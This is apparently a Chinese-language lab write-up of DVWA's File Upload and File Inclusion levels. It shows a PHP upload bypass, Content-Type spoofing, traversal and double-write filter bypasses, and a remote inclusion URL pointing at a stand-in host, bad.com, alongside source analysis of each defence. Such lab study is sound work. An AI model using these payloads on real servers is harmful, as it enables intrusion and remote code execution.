something about DVWA - File Upload

DVWA

DVWA => 备份地址

File Upload(文件上传)

Low

  • 手动测试

    • 手动上传恶意文件

      上传bad.php

    • 访问恶意文件

      1
      http://train.com/dvwa/vulnerabilities/upload/../../hackable/uploads/bad.php
  • 源码分析

    • request中获取上传的文件

      1
      2
      3
      // Where are we going to be writing to?
      $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
      $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    • 将文件移动至指定目录

      1
      2
      3
      4
      5
      6
      // Can we move the file to the upload folder?
      if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
      // failure
      } else {
      // success
      }

Medium

  • 手动测试

    • 将恶意文件扩展名更改为.png,上传

    • 使用burpsuite拦截上传请求,将文件扩展名更改回.php

      这样,上传请求的Content-Typeimage/png,文件却为php

  • 源码分析

    • request中获取上传的文件

      Low级别相同。

    • 获取文件上传信息

      1
      2
      3
      4
      // File information
      $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
      $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
      $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    • 判断HTTPContent-Type属性

      1
      2
      3
      4
      5
      // Is it an image?
      if( ( $uploaded_type == "image/jpeg" ||$uploaded_type == "image/png" ) &&
      ( $uploaded_size < 100000 ) ) {
      // yes
      }
    • 将文件移动至指定目录

      Low级别相同。

High

  • 手动测试

    • 将恶意文件扩展名更改为.png,并在文件头处添加文件头信息

      1
      2
      3
      4
      5
      6
      7
      GIF98
      <?php
      // 将文件头设置为`GIF98`

      phpinfo();

      ?>
    • 上传后使用File Inclusion漏洞包含此文件

      1
      2
      # File Inclusion High
      http://train.com/dvwa/vulnerabilities/fi/?page=file://C:\xampp\htdocs\DVWA\hackable\uploads/bad.png
  • 源码分析

    • request中获取上传的文件

      Medium级别相同。

    • 获取HTTPContent-Type;文件信息

      1
      2
      3
      4
      5
      6
      // File information
      $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
      $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
      $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
      $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
      $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    • 判断HTTPContent-Type;文件类型为image;文件头检测

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      // 判断文件扩展名
      // Is it an image?
      if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
      ( $uploaded_size < 100000 ) &&
      ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
      getimagesize( $uploaded_tmp ) ) {

      // getimagesize(file) 限制文件大小,并通过文件头判断文件类型

      }
    • 将文件移动至指定目录

      Medium级别相同。

Impossible

  • 源码分析

    • 使用token验证身份

      1
      2
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    • 获取HTTPContent-Type与文件信息

      High级别相同。

    • 将文件 重命名 后移动至指定目录

      1
      2
      3
      // 使用md5加密文件名
      //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
      $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
      1
      2
      3
      4
      // Can we move the file to the web root from the temp folder?
      if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
      // yes
      }

文件头

  • 常见文件头

    type header
    bmp 424D
    gif GIF98
    jpeg FF D8 FF
    jpg FF D8 FF
    png 89 50 4E 47 0D 0A
    zip 504B0304

something about DVWA - File Inclusion

DVWA

DVWA => 备份地址

File Inclusion(文件包含)

文件包含

php配置允许allow_url_include时允许文件包含,配置允许allow_url_fopen时允许包含远程文件。

Low

  • 手工测试

    • 本地文件包含

      dvwa文件包含为此URL:http://train.com/dvwa/vulnerabilities/fi/?page=include.php,尝试替换include.php包含 本地敏感文件。

      http://train.com/dvwa/vulnerabilities/fi/?page=C:\xampp\htdocs\DVWA\robots.txt

      http://train.com/dvwa/vulnerabilities/fi/?page=..\..\robots.txt

    • 远程文件包含

      将远程恶意文件url传递给dvwa。

      http://train.com/dvwa/vulnerabilities/fi/?page=http://bad.com/bad.php

  • 源码分析

    直接在request中获取文件名,直接进行包含。

    1
    2
    // The page we wish to display
    $file = $_GET[ 'page' ];

Medium

  • 手工测试

    str_replace只会过滤一次,因此可以使用 重复构造 的方法( 双写 )进行绕过。

    想要构造http://,因此构造httphttp://://,这样http://被过滤掉后,剩余的字符组合成 目标字符串
    同样的,想要构造../,因此构造..././

    构造后的漏洞利用url为:

    http://train.com/dvwa/vulnerabilities/fi/?page=httphttp://://bad.com/bad.php

    http://train.com/dvwa/vulnerabilities/fi/?page=..././..././robots.txt

  • 源码分析

    request中获取文件名后,使用str_replace将其中的敏感字串过滤掉。

    1
    2
    3
    4
    5
    6
    // The page we wish to display
    $file = $_GET[ 'page' ];

    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    "file = str_replace( array( "../", "..\\" ), "", $file );

High

  • 手工测试

    由于强制要求文件名以file开头,可以使用File协议绕过判断。File协议本地文件传输协议, 因此需要配合文件上传漏洞使用,将恶意文件上传至目标服务器,再使用File协议指定目标文件。

    File协议使用:

    1
    file://path/to/file

    使用File协议后指定包含文件:

    1
    http://train.com/dvwa/vulnerabilities/fi/?page=file://C:\Windows\System32\drivers\etc\hosts
  • 源码分析

    request中获取文件名后,判断其是否为固定字符开头(以file开头)。

    1
    2
    3
    4
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    //...
    }

Impossible

  • 源码分析

    request中获取文件名后,判断其是否在允许包含的文件列表中。

    1
    2
    3
    4
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    //...
    }